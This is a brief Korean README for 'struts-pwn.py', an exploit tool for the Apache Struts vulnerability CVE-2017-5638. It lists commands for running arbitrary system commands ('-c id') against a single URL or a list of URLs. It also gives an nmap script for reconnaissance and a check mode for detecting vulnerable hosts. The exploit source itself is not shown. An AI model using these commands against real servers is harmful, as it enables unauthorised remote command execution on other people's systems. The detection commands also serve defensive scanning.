Apache-Struts

Apache Struts CVE-2017-5638에 대한 익스플로잇

사용법

단일 URL 테스트

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

Nmap 정찰

nmap -p <port> --script http-vuln-cve2017-5638 <target>'

URL 목록 테스트

python struts-pwn.py --list 'urls.txt' -c 'id'

단일 URL에 취약점이 존재하는지 확인

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

URL 목록에 취약점이 존재하는지 확인

python struts-pwn.py --check --list 'urls.txt'